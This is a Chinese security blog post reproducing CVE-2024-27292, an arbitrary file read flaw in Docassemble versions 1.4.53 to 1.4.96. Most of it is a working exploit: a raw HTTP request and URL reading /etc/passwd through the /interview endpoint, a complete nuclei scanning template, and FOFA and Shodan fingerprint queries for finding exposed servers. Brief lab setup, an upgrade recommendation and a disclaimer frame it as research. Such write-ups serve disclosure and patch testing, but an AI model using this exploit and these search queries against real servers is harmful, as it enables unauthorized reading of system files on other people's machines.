CVE-2024-27292 漏洞复现 POC

admin 2024年7月8日12:08:35评论120 views字数 1962阅读6分32秒阅读模式

使

01

漏洞名称

Docassemble任意文件读取漏洞

02

漏洞影响

docassemble的1.4.53到1.4.96的版本均受影响,master分支的1.4.97版本中已对该漏洞进行了修补。

https://github.com/jhpyle/docassemble

03

靶场搭建

git clone https://github.com/jhpyle/docassemblecd docassemblegit checkout v1.4.96docker build -t yourname/mydocassemble .cd ..docker run -d -p 80:80 -p 443:443 --restart always --stop-timeout 600 yourname/mydocassemble

CVE-2024-27292 漏洞复现 POC

04

漏洞描述

Docassemble是一个基于Python、YAML和Markdown的免费、开源的专家系统,用于指导面试和文件组装。该系统/interview接口处存在任意文件读取漏洞,会导致服务器数据泄露,请及时修复。

05

FOFA搜索语句
icon_hash="-575790689"

CVE-2024-27292 漏洞复现 POC

06

漏洞复现

POC数据包如下,读取/etc/passwd文件内容

GET /interview?i=/etc/passwd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

get请求,直接用浏览器访问即可

http://x.x.x.x/interview?i=/etc/passwd

CVE-2024-27292 漏洞复现 POC

漏洞复现成功

07

nuclei poc

poc文件内容如下

id: CVE-2024-27292info:  name: Docassemble任意文件读取漏洞  author: fgz  severity: high  description: |    Docassemble is an expert system for guided interviews and document assembly. The vulnerability allows attackers to gain unauthorized access to information on the system through URL manipulation. It affects versions 1.4.53 to 1.4.96. The vulnerability has been patched in version 1.4.97 of the master branch.  reference:    - https://tantosec.com/blog/docassemble/    - https://github.com/jhpyle/docassemble/security/advisories/GHSA-jq57-3w7p-vwvv    - https://github.com/jhpyle/docassemble/commit/97f77dc486a26a22ba804765bfd7058aabd600c9  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N    cvss-score: 7.5    cve-id: CVE-2024-27292    cwe-id: CWE-706    epss-score: 0.00043    epss-percentile: 0.0866  metadata:    verified: true    max-request: 1    shodan-query: http.title:"docassemble"    fofa-query: icon_hash="-575790689"  tags: cve,cve2024,docassemble,lfihttp:  - method: GET    path:      - "{{BaseURL}}/interview?i=/etc/passwd"    matchers-condition: and    matchers:      - type: regex        regex:          - "root:.*:0:0:"      - type: status        status:          - 501

CVE-2024-27292 漏洞复现 POC

08

修复建议

升级到最新版本。

原文始发于微信公众号(AI与网安):CVE-2024-27292 漏洞复现 POC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月8日12:08:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-27292 漏洞复现 POChttps://cn-sec.com/archives/2930415.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息